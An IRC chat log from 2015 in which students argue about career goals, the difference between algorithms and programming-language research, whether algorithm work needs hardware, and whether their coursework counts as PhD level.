[2015-02-02T15:59:38-0500] <+Tamini> JacobEdelman, 
[2015-02-02T15:59:41-0500] <+Tamini> correct me if im wrong
[2015-02-02T15:59:50-0500] <+Tamini> but i thought 
[2015-02-02T15:59:55-0500] <+JacobEdelman> you're wrong
[2015-02-02T15:59:58-0500] <+JacobEdelman> I thought, not you
[2015-02-02T16:00:09-0500] <+JacobEdelman> :P
[2015-02-02T16:00:12-0500] <+Tamini> ben was more of a math person 
[2015-02-02T16:00:13-0500] <+Tamini> and lolol
[2015-02-02T16:00:16-0500] <+Tamini> you're terrible
[2015-02-02T16:00:52-0500] <alokpathy> From what I see, Ben's interesting in algo/complexity theory and awe's interested in PLT
[2015-02-02T16:00:59-0500] <+JacobEdelman> yes, but the overlap is close
[2015-02-02T16:01:03-0500] <+JacobEdelman> I'm in between
[2015-02-02T16:01:13-0500] <+JacobEdelman> by awe is turning into a more mathy/algoy person over time
[2015-02-02T16:01:21-0500] <+JacobEdelman> and ben is definitely into algo
[2015-02-02T16:01:51-0500] <+JacobEdelman> (where algo= intersection of math and cs)
[2015-02-02T16:02:00-0500] <+JacobEdelman> I'm in between
[2015-02-02T16:02:07-0500] <alokpathy> In between what..?
[2015-02-02T16:02:11-0500] <alokpathy> PLT and algo?
[2015-02-02T16:02:11-0500] <+JacobEdelman> awe and ben
[2015-02-02T16:02:27-0500] <alokpathy> So, PLT and algo?
[2015-02-02T16:02:33-0500] <+JacobEdelman> eh... PLT can be algo
[2015-02-02T16:02:40-0500] <+JacobEdelman> I mean, designing lark is algo
[2015-02-02T16:02:48-0500] <alokpathy> I think we digressed a lot.
[2015-02-02T16:02:51-0500] <+JacobEdelman> building the compiler for lark is more programming
[2015-02-02T16:02:57-0500] <+JacobEdelman> oooh
[2015-02-02T16:03:06-0500] <+JacobEdelman> that should be my status: "But I digress..."
[2015-02-02T16:03:12-0500] <+JacobEdelman> cause I do digress!
[2015-02-02T16:03:14-0500] <+JacobEdelman> :P
[2015-02-02T16:03:20-0500] <alokpathy> Way too often.
[2015-02-02T16:03:35-0500] <+Tamini> idk
[2015-02-02T16:03:43-0500] <+Tamini> i always think alok is an
[2015-02-02T16:03:45-0500] <+Tamini> algo person
[2015-02-02T16:03:50-0500] <+Tamini> even though we talk about sec sometimes
[2015-02-02T16:04:19-0500] <+JacobEdelman> I think we have different definitions of algo
[2015-02-02T16:04:34-0500] <alokpathy> wat
[2015-02-02T16:04:40-0500] <alokpathy> How'd I get here?
[2015-02-02T16:04:43-0500] <+JacobEdelman> my definition of algo vs cs
[2015-02-02T16:05:03-0500] <+JacobEdelman> is that they are dealing with computation at different ends of the purity chart:  https://www.xkcd.com/435/
[2015-02-02T16:05:40-0500] <alokpathy> Um, if it clarifies, I'm interested in the kind of algo we did at PACT.
[2015-02-02T16:06:01-0500] <+JacobEdelman> yes, thats included in my type of algo
[2015-02-02T16:06:26-0500] <alokpathy> Alrighty then.
[2015-02-02T16:06:27-0500] <+JacobEdelman> although I'm including information theory and more theoretical PLT in my definition of algo
[2015-02-02T16:06:31-0500] <+Tamini> lol
[2015-02-02T16:06:33-0500] <+Tamini> wait alok
[2015-02-02T16:06:39-0500] <+Tamini> i thought we talked about what we wanted to do in the future once
[2015-02-02T16:06:44-0500] <+Tamini> that's what im basing everything off of
[2015-02-02T16:06:46-0500] <+JacobEdelman> as of now awe is still into the more programmy practical PLT than me, but he's moving away from it
[2015-02-02T16:06:54-0500] <+JacobEdelman> academia, right?
[2015-02-02T16:07:10-0500] <alokpathy> We did, and at that moment I was unsure of algo vs. sec, but it's algo.
[2015-02-02T16:07:14-0500] <alokpathy> JacobEdelman: Yeah.
[2015-02-02T16:07:18-0500] <+JacobEdelman> all of the HSCTFers want academia
[2015-02-02T16:07:47-0500] <+JacobEdelman> alokpathy: go in between! autatic exploit generation at a more theoretical level seems fun
[2015-02-02T16:07:52-0500] <+JacobEdelman> *automatic
[2015-02-02T16:08:51-0500] <alokpathy> Ehh it kinda seemed to me that I only "liked" sec because I didn't really fail pico
[2015-02-02T16:09:00-0500] <alokpathy> whereas I like algo regradless of how bad I might be at it.
[2015-02-02T16:09:15-0500] <+Tamini> lolol
[2015-02-02T16:09:22-0500] <+Tamini> i feel bad because my dream is to do actsci
[2015-02-02T16:09:25-0500] <+Tamini> and make tons of money :P
[2015-02-02T16:09:29-0500] <+Tamini> and lol
[2015-02-02T16:09:38-0500] <+Tamini> sec is interesting, but it's more fun when you're good, yeah
[2015-02-02T16:10:19-0500] <@awe> JacobEdelman: I've always been a math person, but was completely put off by math education.
[2015-02-02T16:10:57-0500] <@awe> JacobEdelman: math went from being the only thing I cared about to being my second to least favorite class and then to being my favorite (excluding CS) again.
[2015-02-02T16:11:36-0500] <@awe> JacobEdelman: I wouldn't say I'm really moving that far away from programmatic PLT. I mean, I want to be implementing functional languages.
[2015-02-02T16:13:51-0500] <+JacobEdelman> awe: given time you'll want to design them and visit new paradigms, hopefully :)
[2015-02-02T16:14:33-0500] <@awe> Well, designing them is sort of obviously implied by implementing them.
[2015-02-02T16:16:15-0500] <+JacobEdelman> awe: I wanna leave the implementing step to other people
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[2015-02-02T16:17:07-0500] <+JacobEdelman> woggles
[2015-02-02T16:17:10-0500] <@awe> Because you know nothing about anything remotely related to writing fast code.
[2015-02-02T16:17:18-0500] <+JacobEdelman> woggles: what do you wanna do with your life
[2015-02-02T16:17:22-0500] <jwoglom> ugh my server decided to unnetwork
[2015-02-02T16:17:22-0500] <@awe> Well, that's not entirely true.
[2015-02-02T16:17:24-0500] <@awe> You know algos.
[2015-02-02T16:17:38-0500] <jwoglom> so what's going on in here
[2015-02-02T16:17:50-0500] <+JacobEdelman> were talking about goes in life and potential future jobs
[2015-02-02T16:17:57-0500] <+JacobEdelman> so, woggles, what do you wanna do?
[2015-02-02T16:18:10-0500] <jwoglom> probably some type of systems administration/IT
[2015-02-02T16:18:15-0500] <@awe> Really?
[2015-02-02T16:18:21-0500] <@awe> Interesting.
[2015-02-02T16:18:25-0500] <+JacobEdelman> wogifier: why aiming so low? 
[2015-02-02T16:18:32-0500] <jwoglom> maybe CS, i dunno. i'm kind of more interested in sysadmin like stuff
[2015-02-02T16:18:33-0500] <@awe> Because that's what interests him?
[2015-02-02T16:18:39-0500] <@awe> You realize that's not aiming low, right?
[2015-02-02T16:18:52-0500] <@awe> A sysadmin job at a stock exchange pays like five-six times what a CS professor makes.
[2015-02-02T16:18:58-0500] <+JacobEdelman> hmmm.... but the wog could someday succeed at that, and than where would you be
[2015-02-02T16:19:00-0500] <@awe> And it's incredibly intensive.
[2015-02-02T16:19:13-0500] <@awe> He'd be doing an exciting job that he loves and making buttloads of money.
[2015-02-02T16:19:16-0500] <@awe> That's where he'd be.
[2015-02-02T16:19:36-0500] <+JacobEdelman> I don't knwo, i don't like jobs you could complete, or have a finite possible potential
[2015-02-02T16:19:44-0500] <+JacobEdelman> my life goal is to take over the world
[2015-02-02T16:20:02-0500] <+JacobEdelman> since i figure if I pick a less goal and than I succeed I will ahve completed life and that will be boring
[2015-02-02T16:20:04-0500] <jwoglom> that's a pretty ambitious goal
[2015-02-02T16:20:07-0500] <+JacobEdelman> *a lesser
[2015-02-02T16:20:14-0500] <+JacobEdelman> wogman: yeah
[2015-02-02T16:20:17-0500] <jwoglom> most people never reach that
[2015-02-02T16:20:30-0500] <+Tamini> lol
[2015-02-02T16:20:34-0500] <+Tamini> hey
[2015-02-02T16:20:41-0500] <+Tamini> my old friend told me
[2015-02-02T16:20:42-0500] <+JacobEdelman> well, I'm gonna do it by way of learning the secrets of computation and ascending to godhood
[2015-02-02T16:20:44-0500] <+Tamini> there's two types of people
[2015-02-02T16:20:50-0500] <+Tamini> ones who want to make the world a better place
[2015-02-02T16:20:51-0500] <@awe> My goal is to become a professor at an excellent public university.
[2015-02-02T16:21:04-0500] <+Tamini> and the ones who want to make the world a better place for them
[2015-02-02T16:21:10-0500] <+JacobEdelman> awe: what happens once you succeed? you just decide to be contented and finished?
[2015-02-02T16:21:21-0500] <+Tamini> i'd assume awe wants to do research.
[2015-02-02T16:21:28-0500] <+JacobEdelman> Tamini: wait
[2015-02-02T16:21:31-0500] <jwoglom> speaking of "what do you want to do with your life"
[2015-02-02T16:21:34-0500] <+JacobEdelman> the first type of person has a utility function
[2015-02-02T16:21:35-0500] <+JacobEdelman> that is
[2015-02-02T16:21:37-0500] <jwoglom> all morning and afternoon i went to a "U.S. Department of Agriculture IT Job Shadowing Day"
[2015-02-02T16:21:39-0500] <+JacobEdelman> U(x)= U(x)
[2015-02-02T16:21:39-0500] <jwoglom> it was horrible
[2015-02-02T16:21:43-0500] <+JacobEdelman> and the second type has
[2015-02-02T16:21:55-0500] <+JacobEdelman> U(x)=others_U(x)
[2015-02-02T16:22:01-0500] <+JacobEdelman> ... they can be the same person
[2015-02-02T16:22:19-0500] <jwoglom> TIL "IT Job Shadowing" means 3 hours of looking at government-style powerpoints
[2015-02-02T16:22:24-0500] <+JacobEdelman> (if you're happieness correlates to others happeiness than making them happy is just making you happy)
[2015-02-02T16:22:57-0500] <+JacobEdelman> wogster: see, IT boring, do research instead
[2015-02-02T16:22:58-0500] <+Tamini> lol government-style powerpoints
[2015-02-02T16:23:08-0500] <+JacobEdelman> wogwog: and build your own IT guru
[2015-02-02T16:23:17-0500] <jwoglom> JacobEdelman: decide on a nickname for me, dammit :P
[2015-02-02T16:23:21-0500] <@awe> JacobEdelman: Then, I figure out what I want to do next.
[2015-02-02T16:23:25-0500] <jwoglom> Tamini: they were pretty bad
[2015-02-02T16:23:49-0500] <+JacobEdelman> awe: oh, so its not your life goal, just an intermediate step
[2015-02-02T16:23:57-0500] <@awe> There's no such thing as a life goal.
[2015-02-02T16:24:07-0500] <@awe> There's no goal where when you complete it, you've somehow won life.
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[2015-02-02T16:24:17-0500] <+JacobEdelman> wog-a-log: one of them will stick eventually :P
[2015-02-02T16:24:39-0500] <@awe> You just keep setting goals for yourself, and moving on when you attain them (or even if you don't). That's normal.
[2015-02-02T16:24:40-0500] <+JacobEdelman> awe: .... if I take over the world I have won life in my opinion
[2015-02-02T16:24:42-0500] <jwoglom> i only set weechat to highlight "woggles" :P
[2015-02-02T16:24:46-0500] <@awe> You won't.
[2015-02-02T16:24:46-0500] <@awe> Ever.
[2015-02-02T16:24:52-0500] <@awe> That's not even your real goal.
[2015-02-02T16:24:54-0500] <+JacobEdelman> awe: okay, I can live with that
[2015-02-02T16:24:57-0500] <@awe> You can say that it is, but that's not what you're striving for.
[2015-02-02T16:25:05-0500] <@awe> You're not working everyday to try to take over the world.
[2015-02-02T16:25:09-0500] <+JacobEdelman> awe: fine, what I'm really striving for is knowing everything
[2015-02-02T16:25:12-0500] <@awe> You're working everyday to try to become a professor.
[2015-02-02T16:25:29-0500] <+JacobEdelman> awe: no... I want to become a prof. for a specific reason
[2015-02-02T16:25:36-0500] <@awe> Which is?
[2015-02-02T16:25:37-0500] <+Tamini> and then
[2015-02-02T16:25:37-0500] <+JacobEdelman> awe: because I want knowledge
[2015-02-02T16:25:37-0500] <+Tamini> i mean
[2015-02-02T16:25:45-0500] <+Tamini> awe, we talked about the whole issue of tenure
[2015-02-02T16:25:48-0500] <@awe> Being a professor is not the sole way to attain knowledge.
[2015-02-02T16:25:58-0500] <+JacobEdelman> wogow: set it to highlight all isntances of "wog"
[2015-02-02T16:26:05-0500] <@awe> Tamini: Because universities are hiring adjuncts only and screwing everyone? Yeah.
[2015-02-02T16:26:07-0500] <+JacobEdelman> awe: its a good way
[2015-02-02T16:26:16-0500] <@awe> I don't know if that's true.
[2015-02-02T16:26:19-0500] <+Tamini> i mean
[2015-02-02T16:26:25-0500] <+Tamini> that's not an insignificant thing
[2015-02-02T16:26:30-0500] <@awe> You have a lot of commitments as a professor that don't involve learning.
[2015-02-02T16:26:44-0500] <@awe> Tons of administrative tasks, and helping people to make decisions about their learning paths and so forth.
[2015-02-02T16:26:45-0500] <+Tamini> like...teaching? :P
[2015-02-02T16:26:59-0500] <+JacobEdelman> Tamini: teaching = learning if you do it right
[2015-02-02T16:27:02-0500] <@awe> There's some things to be learned from teaching, but yeah, it's not going to produce a wealth of knowledge for you.
[2015-02-02T16:27:19-0500] <+JacobEdelman> Tamini: I learned tons teaching PACT (ask alokpathy, I learned during the lecture :P )
[2015-02-02T16:27:20-0500] <+Tamini> and plus
[2015-02-02T16:27:24-0500] <+Tamini> you need funding if you want to do things.
[2015-02-02T16:27:28-0500] <@awe> The most learning you'll do is definitely research, and there are other jobs where you can do JUST that.
[2015-02-02T16:27:34-0500] <@awe> Tamini: uhh, we're in CS.
[2015-02-02T16:27:37-0500] <+Tamini> oh
[2015-02-02T16:27:37-0500] <@awe> Tamini: our research is free.
[2015-02-02T16:27:38-0500] <+JacobEdelman> Tamini: what kinda things do you wanna do that require funding
[2015-02-02T16:27:41-0500] <+Tamini> nvm, nvm
[2015-02-02T16:27:47-0500] <+Tamini> awe: i was thinking of my friends doing chem research
[2015-02-02T16:27:53-0500] <+Tamini> and their labs getting 0 funding -> they can't do much
[2015-02-02T16:28:00-0500] <+JacobEdelman> awe: I don't know, I may need to hire grad students to color in graphs for me
[2015-02-02T16:28:01-0500] <+JacobEdelman> :P
[2015-02-02T16:28:01-0500] <@awe> Well, those people get tons of money though, if they're good at fundraising.
[2015-02-02T16:28:20-0500] <+Tamini> if they're stuck in a small, relatively insignificant department in a uni
[2015-02-02T16:28:29-0500] <+Tamini> they dont get much money at all.
[2015-02-02T16:28:34-0500] <@awe> At UMass, one of the lead biology researchers makes $800,000/year.
[2015-02-02T16:28:58-0500] <@awe> Our basketball coach makes over $1,000,000/year. :D
[2015-02-02T16:29:02-0500] <+JacobEdelman> hmm... with my fundraising experince for hsctf where can I go wrong (neural networks with specilized gates for grammar learning: sponsored by educoin)
[2015-02-02T16:29:21-0500] <@awe> JacobEdelman: You need to get actual money for research, not educoins.
[2015-02-02T16:29:27-0500] <+JacobEdelman> :P it was a joke
[2015-02-02T16:29:32-0500] <@awe> Though, again, CS really doesn't need a lot of funding.
[2015-02-02T16:29:38-0500] <@awe> At least, not currently.
[2015-02-02T16:29:42-0500] <+Tamini> well
[2015-02-02T16:29:49-0500] <+Tamini> if you want to do stuff with lots of fancy equipment
[2015-02-02T16:29:52-0500] <@awe> There were times when it did.
[2015-02-02T16:29:55-0500] <+Tamini> money is always nice
[2015-02-02T16:29:55-0500] <@awe> And there are times where it will again.
[2015-02-02T16:29:56-0500] <+Tamini> also well
[2015-02-02T16:30:04-0500] <+Tamini> supercomputers.
[2015-02-02T16:30:08-0500] <@awe> But JacobEdelman and I aren't in a field that needs supercomputers.
[2015-02-02T16:30:11-0500] <+Tamini> software?
[2015-02-02T16:30:18-0500] <+JacobEdelman> awe: actually
[2015-02-02T16:30:24-0500] <+JacobEdelman> awe: neural nets do sometimes
[2015-02-02T16:30:32-0500] <@awe> Well, okay, I was assuming you wanted to do PLT.
[2015-02-02T16:30:36-0500] <+JacobEdelman> awe: but I'll probaly do theoretical stuff with them anyway
[2015-02-02T16:30:43-0500] <@awe> Algorithmic and AI stuff definitely needs hardware.
[2015-02-02T16:30:57-0500] <+JacobEdelman> awe: first, algo very rarely needs hardware
[2015-02-02T16:31:01-0500] <@awe> But PLT and PLI don't really need expensive hardware.
[2015-02-02T16:31:03-0500] <@awe> JacobEdelman: not true.
[2015-02-02T16:31:05-0500] <+Tamini> algo needs hardware.
[2015-02-02T16:31:06-0500] <ubuntor> depends on your scale
[2015-02-02T16:31:06-0500] <+JacobEdelman> awe: you don't prove an algos good by testing it
[2015-02-02T16:31:09-0500] <@awe> ...
[2015-02-02T16:31:12-0500] <jwoglom> just because you don't need supercomputers doesn't mean that nice hardware isn't important/useful
[2015-02-02T16:31:13-0500] <+Tamini> uh, jacob
[2015-02-02T16:31:15-0500] <@awe> That's not what algorithmic research is.
[2015-02-02T16:31:16-0500] <+JacobEdelman> awe: you proove its good with math
[2015-02-02T16:31:19-0500] <+Tamini> ^
[2015-02-02T16:31:19-0500] <+JacobEdelman> alokpathy!
[2015-02-02T16:31:20-0500] <+JacobEdelman> come here
[2015-02-02T16:31:23-0500] <+JacobEdelman> and explain things
[2015-02-02T16:31:25-0500] <+Tamini> he's going to side with us.
[2015-02-02T16:31:29-0500] <+JacobEdelman> no, he's not
[2015-02-02T16:31:31-0500] <+JacobEdelman> I promise you
[2015-02-02T16:31:36-0500] <+Tamini> why do you think that?
[2015-02-02T16:31:38-0500] <+JacobEdelman> he does the same algo program I do
[2015-02-02T16:31:45-0500] <+JacobEdelman> and we havn;t touched a computer in it
[2015-02-02T16:31:47-0500] <ubuntor> ...so?
[2015-02-02T16:31:49-0500] <@awe> ...
[2015-02-02T16:31:53-0500] <+Tamini> you arent
[2015-02-02T16:31:53-0500] <+JacobEdelman> for the 1.5 years I've been doing it
[2015-02-02T16:31:57-0500] <+JacobEdelman> were doing PHD level work
[2015-02-02T16:31:59-0500] <+Tamini> making a point, sweetie.
[2015-02-02T16:32:04-0500] <+JacobEdelman> and still no computers in sight
[2015-02-02T16:32:05-0500] <@awe> No, you're not doing PhD level work.
[2015-02-02T16:32:11-0500] <+JacobEdelman> hardware is not needed
[2015-02-02T16:32:11-0500] <alokpathy> Hi what
[2015-02-02T16:32:13-0500] <@awe> And even if you are, that's not the bulk of algorithmic research.
[2015-02-02T16:32:17-0500] <+JacobEdelman> alokpathy
[2015-02-02T16:32:20-0500] <+Tamini> alokpathy: JacobEdelman is saying stupid thinsg
[2015-02-02T16:32:22-0500] <@awe> There's things like searching for solutions to problems and stuff.
[2015-02-02T16:32:24-0500] <+Tamini> then claiming you'll agree with him
[2015-02-02T16:32:31-0500] <@awe> Or working on large, scaled sorting algorithms.
[2015-02-02T16:32:34-0500] <@awe> And so on and so forth.
[2015-02-02T16:32:41-0500] <@awe> All of that requires big, expensive computers.
[2015-02-02T16:32:42-0500] <alokpathy> Tamini: Eleborate plz
[2015-02-02T16:32:45-0500] <+Tamini> umm
[2015-02-02T16:32:46-0500] <alokpathy> Elaborate*
[2015-02-02T16:32:48-0500] <+JacobEdelman> awe and Tamini and ubuntor are saying that in order to algo you needs supercomputers or powerful computers
[2015-02-02T16:32:50-0500] <+Tamini> someone tl;dr for apothy ls
[2015-02-02T16:32:51-0500] <+Tamini> pls*
[2015-02-02T16:33:01-0500] <+JacobEdelman> is that a good tl;dr?
[2015-02-02T16:33:04-0500] <@awe> No.
[2015-02-02T16:33:09-0500] <+JacobEdelman> ...
[2015-02-02T16:33:12-0500] <@awe> I said to do algorithmic research you often need hardware.
[2015-02-02T16:33:15-0500] <+Tamini> WAIT
[2015-02-02T16:33:16-0500] <+Tamini> WAIT
[2015-02-02T16:33:18-0500] <+Tamini> PAUSE THIS FOR A SECOND
[2015-02-02T16:33:22-0500] <+Tamini> HISTORICAL MOMENT
[2015-02-02T16:33:23-0500] <@awe> Algo is not strictly sitting and doing math.
[2015-02-02T16:33:25-0500] <+JacobEdelman> 4:31 PM <@awe> Algorithmic and AI stuff definitely needs hardware.
[2015-02-02T16:33:28-0500] <+Tamini> <awebot> Do you work for UPS? Because I swear I saw you checking out my package.
[2015-02-02T16:33:34-0500] <+Tamini> im cool now <3
[2015-02-02T16:33:35-0500] <jwoglom> lol awebot
[2015-02-02T16:33:39-0500] <alokpathy> Tamini:  Nice
[2015-02-02T16:33:40-0500] <+JacobEdelman> .... awebot is bisexual, confirmed
[2015-02-02T16:33:42-0500] <alokpathy> :P
[2015-02-02T16:33:45-0500] <+Tamini> psh
[2015-02-02T16:33:50-0500] <+Tamini> i mean who could stay away from me ;)
[2015-02-02T16:33:53-0500] <alokpathy> Anyways, yeah, not all algo is theoretical
[2015-02-02T16:33:57-0500] <jwoglom> maybe he's just gender-neutral
[2015-02-02T16:34:01-0500] <Hyper> awebot doesn't send me lewd messages :(
[2015-02-02T16:34:03-0500] <+Tamini> awebot is a boy.
[2015-02-02T16:34:05-0500] <Hyper> clearly i'm inferior
[2015-02-02T16:34:13-0500] <+JacobEdelman> alokpathy: the statement I was disputing was
[2015-02-02T16:34:13-0500] <+Tamini> Hyper: best for last? maybe? :)
[2015-02-02T16:34:13-0500] <@awe> Most algo work isn't just sitting there and doing math.
[2015-02-02T16:34:15-0500] <+JacobEdelman> "4:31 PM <@awe> Algorithmic and AI stuff definitely needs hardware."
[2015-02-02T16:34:24-0500] <@awe> [16:33:23]  <@awe>	Algo is not strictly sitting and doing math.
[2015-02-02T16:34:26-0500] <+JacobEdelman> which says all algo is theoretical
[2015-02-02T16:34:28-0500] <+Tamini> um.
[2015-02-02T16:34:33-0500] <+Tamini> no
[2015-02-02T16:34:36-0500] <Hyper> JacobEdelman: to be fair many algorithmic stuff isn't very interesting at a theoretical level
[2015-02-02T16:34:40-0500] <+JacobEdelman> Tamini: who are you saying no to
[2015-02-02T16:34:45-0500] <@awe> You.
[2015-02-02T16:34:46-0500] <+Tamini> Hyper: false, but I agree with the point you're making :P
[2015-02-02T16:34:48-0500] <@awe> She's saying no to you.
[2015-02-02T16:34:58-0500] <alokpathy> Not all algorithmic stuff need hardware, but some do.
[2015-02-02T16:35:10-0500] <+JacobEdelman> alokpathy: but they type we do doesn't, correct? 
[2015-02-02T16:35:14-0500] <@awe> I would hazard a guess that a lot of it does because I doubt that the bulk of the researchers are mathematicians.
[2015-02-02T16:35:18-0500] <@awe> Nobody is arguing about what you do, JacobEdelman.
[2015-02-02T16:35:22-0500] <+Tamini> the algo you do
[2015-02-02T16:35:26-0500] <+Tamini> is a very very small subsection
[2015-02-02T16:35:27-0500] <+Tamini> of algo in general
[2015-02-02T16:35:28-0500] <@awe> ^
[2015-02-02T16:35:32-0500] <+JacobEdelman> also, I'd like to dispute this:
[2015-02-02T16:35:32-0500] <+JacobEdelman> 4:32 PM <@awe> No, you're not doing PhD level work.
[2015-02-02T16:35:34-0500] <+Tamini> you can't make generalizations off that
[2015-02-02T16:35:37-0500] <alokpathy> JacobEdelman: The algo we do is completely theoretical, so, yeah, we don't need hardware.
[2015-02-02T16:35:44-0500] <alokpathy> JacobEdelman: We're not.
[2015-02-02T16:35:50-0500] <Hyper> for instance we've proven you can't get a comparison based sorting algorithm faster than O(nlogn) (or is it O(logn)?). The interesting thing is coming up with algorithms that work well given the hardware that we're using
[2015-02-02T16:35:52-0500] <alokpathy> I'm 99% sure that lecturer was exaggerating.
[2015-02-02T16:35:53-0500] <+JacobEdelman> Tamini: I'm not making a generalization, I'm combating awe's generalization
[2015-02-02T16:35:57-0500] <+Tamini> what kind of PhD students
[2015-02-02T16:36:00-0500] <+Tamini> are doing research
[2015-02-02T16:36:03-0500] <Hyper> (imho)
[2015-02-02T16:36:08-0500] <+Tamini> that can be done by high school kids with 1.5 years of experience?
[2015-02-02T16:36:09-0500] <+JacobEdelman> Hyper: no, its notm the interesting thing is proving that nlogn is the best we can do
[2015-02-02T16:36:26-0500] <@awe> I'd also like to point out that you have virtually none of the background that a PhD student would have.
[2015-02-02T16:36:28-0500] <Hyper> JacobEdelman: but that's been done already :)
[2015-02-02T16:36:41-0500] <Hyper> I mean yes those things are awesomely interesting
[2015-02-02T16:36:49-0500] <+JacobEdelman> ....Tamini: several of the students are juniors/seniors in college, last year two of the college students were in the group below me
[2015-02-02T16:36:53-0500] <Hyper> I don't know if I'd say it's awesome because nlogn q.q
[2015-02-02T16:36:57-0500] <@awe> Okay?
[2015-02-02T16:36:59-0500] <+Tamini> my point still holds?
[2015-02-02T16:37:03-0500] <@awe> That doesn't make it PhD level work?
[2015-02-02T16:37:05-0500] <+Tamini> ^
[2015-02-02T16:37:08-0500] <@awe> That makes it undergraduate level work.
[2015-02-02T16:37:14-0500] <+JacobEdelman> sigh....
[2015-02-02T16:37:22-0500] <+JacobEdelman> okay
[2015-02-02T16:37:24-0500] <+JacobEdelman> final point
[2015-02-02T16:37:26-0500] <@awe> Your evidence was "LOOK. THERE'S UNDERGRADS."
[2015-02-02T16:37:29-0500] <+JacobEdelman> a big algo teacher
[2015-02-02T16:37:31-0500] <+Tamini> lolol
[2015-02-02T16:37:33-0500] <+JacobEdelman> at princeton gave a talk
[2015-02-02T16:37:34-0500] <+JacobEdelman> and when asked
[2015-02-02T16:37:36-0500] <Hyper> I think this conversation isn't really important. What really matters is that you like what you're doing x.x
[2015-02-02T16:37:41-0500] <+JacobEdelman> about what course we should take at princeton
[2015-02-02T16:37:49-0500] <+Tamini> Hyper: I think we're just all arguing with jacob at this point ^^
[2015-02-02T16:37:52-0500] <+JacobEdelman> recommended a 500 (PhD) level course
[2015-02-02T16:37:58-0500] <@awe> Okay?
[2015-02-02T16:38:03-0500] <+JacobEdelman> ....
[2015-02-02T16:38:05-0500] <ubuntor> and?
[2015-02-02T16:38:05-0500] <@awe> First of all, that's a Masters level course.
[2015-02-02T16:38:06-0500] <+Tamini> uh
[2015-02-02T16:38:08-0500] <+Tamini> you need to spell out
[2015-02-02T16:38:10-0500] <@awe> Second of all, he didn't say you should take it RIGHT NOW.
[2015-02-02T16:38:10-0500] <+Tamini> what point you're making
[2015-02-02T16:38:11-0500] <Hyper> Tamini: Well that's just the pdgn sport of choice
[2015-02-02T16:38:20-0500] <@awe> He said that you should take it.
[2015-02-02T16:38:21-0500] <+Tamini> Hyper: yep! you should join in sometime.
[2015-02-02T16:38:24-0500] <+JacobEdelman> awe: he said we should take it during the school year (it was the summer)
[2015-02-02T16:38:29-0500] <+Tamini> It actually makes you kind of think about things sometimes.
[2015-02-02T16:38:29-0500] <@awe> Okay?
[2015-02-02T16:38:33-0500] <+JacobEdelman> awe: he said we should skip a 400 level course
[2015-02-02T16:38:35-0500] <alokpathy> JacobEdelman: 500 level courses are for people who are just starting their PhD
[2015-02-02T16:38:36-0500] <@awe> Again, that's a MS course.
[2015-02-02T16:38:40-0500] <@awe> alokpathy: ^
[2015-02-02T16:38:40-0500] <alokpathy> or,  yeah, MS.
[2015-02-02T16:38:53-0500] <@awe> When you talk about PhD level work, it's not a course.
[2015-02-02T16:39:03-0500] <@awe> The coursework that's a part of a PhD is the MS.
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[2015-02-02T16:39:11-0500] <+JacobEdelman> Tamini: I make people think about things? wow, that actually makes me happy :)
[2015-02-02T16:39:18-0500] <@awe> JacobEdelman: only sometimes.
[2015-02-02T16:39:25-0500] <+Tamini> rarely
[2015-02-02T16:39:27-0500] <+JacobEdelman> ... its the same kind of course phds would take
[2015-02-02T16:39:28-0500] <+JacobEdelman> ...
[2015-02-02T16:39:32-0500] <@awe> ...
[2015-02-02T16:39:40-0500] <@awe> But PhD work is not courses.
[2015-02-02T16:39:51-0500] <+Tamini> ^
[2015-02-02T16:39:59-0500] <@awe> If you already had a MS and started a PhD, you don't take courses.
[2015-02-02T16:40:02-0500] <@awe> You just go right into research.
[2015-02-02T16:40:10-0500] james is now known as jwoglomvps
[2015-02-02T16:40:15-0500] <Hyper> so guize
[2015-02-02T16:40:18-0500] <Hyper> Raspi 2
[2015-02-02T16:40:22-0500] <alokpathy> JacobEdelman: It's the course people who started their PhDs are taking
[2015-02-02T16:40:29-0500] <alokpathy> and starting PhD == just finished undergrad
[2015-02-02T16:40:31-0500] <@awe> But only if they skipped getting an MS.
[2015-02-02T16:40:32-0500] <Hyper> some sexy hardware going down
[2015-02-02T16:40:38-0500] <+Tamini> heh, Hyepr
[2015-02-02T16:40:40-0500] <+Tamini> Hyper*
[2015-02-02T16:40:42-0500] <@awe> It's early grad work, not PhD work.
[2015-02-02T16:40:49-0500] <jwoglom> Hyper: about damn time :P
[2015-02-02T16:40:55-0500] <+JacobEdelman> okay, my final point in this argument
[2015-02-02T16:41:02-0500] <+JacobEdelman> which will at least let it reach a middle ground 
[2015-02-02T16:41:02-0500] <+Tamini> you already
[2015-02-02T16:41:03-0500] <Hyper> now if only I did anything with my pi :(
[2015-02-02T16:41:04-0500] <jwoglom> it can run w10? O_o
[2015-02-02T16:41:04-0500] <+Tamini> made your final point
[2015-02-02T16:41:13-0500] <+JacobEdelman> "It does include work only covered at graduate-level classes at universities." -- doth say the almighty Ben
[2015-02-02T16:41:57-0500] <ubuntor> so?
[2015-02-02T16:42:01-0500] <@awe> Yes.
[2015-02-02T16:42:02-0500] <@awe> We said that.
[2015-02-02T16:42:23-0500] <+JacobEdelman> okay, so I'll execpt that being agreed upon and withdraw whatever lunatic statments I said to the contrary in the argument
[2015-02-02T16:42:25-0500] <Hyper> JacobEdelman: I think the distinction they're making is graduate != phd
[2015-02-02T16:42:25-0500] <@awe> That's also sort of misleading.
[2015-02-02T16:42:32-0500] <@awe> Half of my undergrad courses are going to be 500 and 600 level.
[2015-02-02T16:42:32-0500] <Hyper> erm
[2015-02-02T16:42:37-0500] <Hyper> yeah
[2015-02-02T16:42:37-0500] <@awe> Well, 1/3.
[2015-02-02T16:42:42-0500] <+JacobEdelman> awe: you are weird
[2015-02-02T16:42:48-0500] <+JacobEdelman> :P
[2015-02-02T16:42:54-0500] <@awe> No, it's the nature of studying these sorts of things.
[2015-02-02T16:43:02-0500] <@awe> People consider them very hard, and as such, they're 500 and 600 level.
[2015-02-02T16:43:13-0500] <+JacobEdelman> okay, fine
[2015-02-02T16:43:27-0500] <+Tamini> lol
[2015-02-02T16:43:34-0500] <+JacobEdelman> the end result, is that I wasn't making the distinciton graduate!=phd
[2015-02-02T16:43:36-0500] <+JacobEdelman> argument over
[2015-02-02T16:43:42-0500] <+Tamini> but that's an important distinction! :P
[2015-02-02T16:43:43-0500] <+Tamini> but okay
[2015-02-02T16:43:45-0500] <+JacobEdelman> I'll resort to saying graduate level from now on
[2015-02-02T16:43:56-0500] <+JacobEdelman> I have amended the jacob memory records
[2015-02-02T16:44:05-0500] <+JacobEdelman> and a bug report will be issued in the next version
[2015-02-02T16:44:13-0500] <+JacobEdelman> *fix report
